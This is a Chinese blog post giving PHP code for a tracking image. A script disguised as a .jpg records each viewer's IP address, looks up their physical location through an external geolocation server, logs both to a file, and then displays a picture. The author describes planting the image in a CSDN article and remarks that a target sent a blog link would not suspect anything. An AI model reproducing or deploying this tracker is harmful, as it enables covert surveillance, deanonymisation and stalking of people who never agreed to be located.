通过一张图片定位真实地址

<?php
    header('Content-Type:text/html;charset=utf-8');
    function get_addr($_ip) { 
        $_ip=array("X-Forwarded-For:{$_ip}");
            //初始化curl模块 
        $curl = curl_init();
        //需要获取的URL地址,也可以在 curl_init() 函数中设置。
        curl_setopt($curl, CURLOPT_URL, 'http://ip.zishuo.net/');
        //在启用 CURLOPT_RETURNTRANSFER 的时候,返回原生的(Raw)输出。
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        //设置"User-Agent: "头
        curl_setopt($curl, CURLOPT_USERAGENT  , 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36');
        curl_setopt($curl, CURLOPT_HTTPHEADER, $_ip);
        //执行cURL
        curl_exec($curl); 
        //关闭cURL资源,并且释放系统资源 
        $retn=curl_exec($curl); 
        curl_close($curl);
        return json_decode($retn);
    } 
    $_addr=get_addr($_GET['ip']);
    if ($_addr->code=='200') {
        echo $_addr->desc.'->'.$_addr->position;
    }elseif($_addr->code=='404'){
        echo $_addr->message;
    }else{
        echo '异常!';
    }
 
?>

本来到这儿也就没什么事情了,需要的时候查一下就可以,可是我又想到了一个好玩儿都方法,毕竟自己获取IP还是不方便,想到前段时间在REEBUF看到的一篇文章-“如何通过一张照片来获取ip地址?”,地址是http://www.freebuf.com/articles/database/101233.html,我也可以通过这样的方法来自动传入IP地址嘛,这样的话别人一浏览图片我就能获取到地址了,说干就干,继续写代码。
PHP代码:
<?php
header('Content-Type:text/html;charset=utf-8');
$_ip=$_SERVER['REMOTE_ADDR'];
$_ip_addr=file_get_contents('http://x.x.x.x/get_ip.php?ip='.$_ip);
$fh = fopen('ip.txt', 'a');
fwrite($fh, 'IP:'.$_ip.'  Time:'.date("Y-m-d H:i",time()+28800).'  Address:'.$_ip_addr."\r\n");
fclose($fh);
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
后缀改成jpg,然后在服务器上一通折腾,功能实现了。最后就是把这个图片插入到一个安全的站点上面,我想到了CSDN,就像这样
<ignore_js_op>
然后发表文章,只有有人访问这篇文章,就会出现这一幕(当然要是什么时候这个网站不返回实际地址那也就失效咯)
<ignore_js_op>

2.png (50.82 KB, 下载次数: 0)

下载附件

6 天前 上传

 
现在想要知道某个人都地址好像很简单了诶,发给他一个博客链接他也不会怀疑什么吧….
其实这个小功能完全没有什么亮点,都是站在各位前辈都肩膀上添了点砖瓦而已。
 
https://forum.90sec.org/forum.php?mod=viewthread&tid=9438
posted @ 2016-05-26 23:01  Hookjoy  阅读(13753)  评论(2编辑  收藏  举报